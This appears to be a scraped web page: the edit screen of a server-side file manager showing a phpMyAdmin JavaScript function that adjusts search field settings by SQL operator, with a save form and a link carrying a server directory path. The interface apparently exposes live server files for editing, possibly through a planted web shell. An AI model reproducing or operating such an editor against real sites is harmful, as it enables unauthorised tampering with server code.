function changeValueFieldType(elem, searchIndex) {
  var fieldsValue = $(&#039;input#fieldID_&#039; + searchIndex);

  if (0 === fieldsValue.size()) {
    return;
  }

  var type = $(elem).val();

  if (&#039;LIKE&#039; === type || &#039;LIKE %...%&#039; === type || &#039;NOT LIKE&#039; === type) {
    $(&#039;#fieldID_&#039; + searchIndex).data(&#039;data-skip-validators&#039;, true);
    return;
  } else {
    $(&#039;#fieldID_&#039; + searchIndex).data(&#039;data-skip-validators&#039;, false);
  }

  if (&#039;IN (...)&#039; === type || &#039;NOT IN (...)&#039; === type || &#039;BETWEEN&#039; === type || &#039;NOT BETWEEN&#039; === type) {
    $(&#039;#fieldID_&#039; + searchIndex).prop(&#039;multiple&#039;, true);
  } else {
    $(&#039;#fieldID_&#039; + searchIndex).prop(&#039;multiple&#039;, false);
  }
}</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2Ftable'>🔙 Back</a></p>